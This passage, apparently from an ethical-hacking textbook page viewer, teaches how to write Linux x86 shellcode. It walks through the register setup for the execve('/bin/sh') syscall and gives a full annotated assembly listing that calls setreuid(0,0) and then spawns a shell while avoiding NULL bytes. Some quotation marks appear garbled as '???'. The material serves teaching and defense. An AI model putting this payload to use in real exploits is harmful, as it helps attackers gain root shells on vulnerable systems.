Therefore, the signature of the execve(???/bin/sh???, [???/bin/sh???,
NULL], NULL) syscall is as follows:
??? eax 0xb for syscall #11 (actually al:0xb to remove NULLs from opcodes)
??? ebx The char * address of /bin/sh somewhere in accessible memory
??? ecx The char * argv[], an address (to an array of strings) starting with the
address of the previously used /bin/sh and terminated with a NULL
??? edx Simply a 0x0, since the char * env[] argument may be NULL
The only tricky part here is the construction of the ???/bin/sh??? string and the use of its
address. We will use a clever trick by placing the string on the stack in two chunks and
then referencing the address of the stack to build the register values.
Starting with Assembly
The following assembly code executes setreuid(0,0), then calls execve ???/bin/sh???:
$ cat sc2.asm
section .text ; start the code section of the asm
global _start ; declare a global label
_start: ; get in the habit of using code labels
;setreuid (0,0) ; as we have already seen??¦
xor eax, eax ; clear the eax registry, prepare for next line
mov al, 0x46 ; set the syscall # to decimal 70 or hex 46, one byte
xor ebx, ebx ; clear the ebx registry
xor ecx, ecx ; clear the exc registry
int 0x80 ; call the kernel to execute the syscall
;spawn shellcode with execve
xor eax, eax ; clears the eax registry, sets to 0
push eax ; push a NULL value on the stack, value of eax
push 0x68732f2f ; push '//sh' onto the stack, padded with leading '/'
push 0x6e69622f ; push /bin onto the stack, notice strings in reverse
mov ebx, esp ; since esp now points to "/bin/sh", write to ebx
push eax ; eax is still NULL, let's terminate char ** argv on stack
push ebx ; still need a pointer to the address of '/bin/sh', use ebx
mov ecx, esp ; now esp holds the address of argv, move it to ecx
xor edx, edx ; set edx to zero (NULL), not needed
mov al, 0xb ; set the syscall # to decimal 11 or hex b, one byte
int 0x80 ; call the kernel to execute the syscall
As just shown, the /bin/sh string is pushed onto the stack in reverse order by first
pushing the terminating NULL value of the string, next by pushing the //sh (4 bytes are
required for alignment and the second / has no effect).
Pages:
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420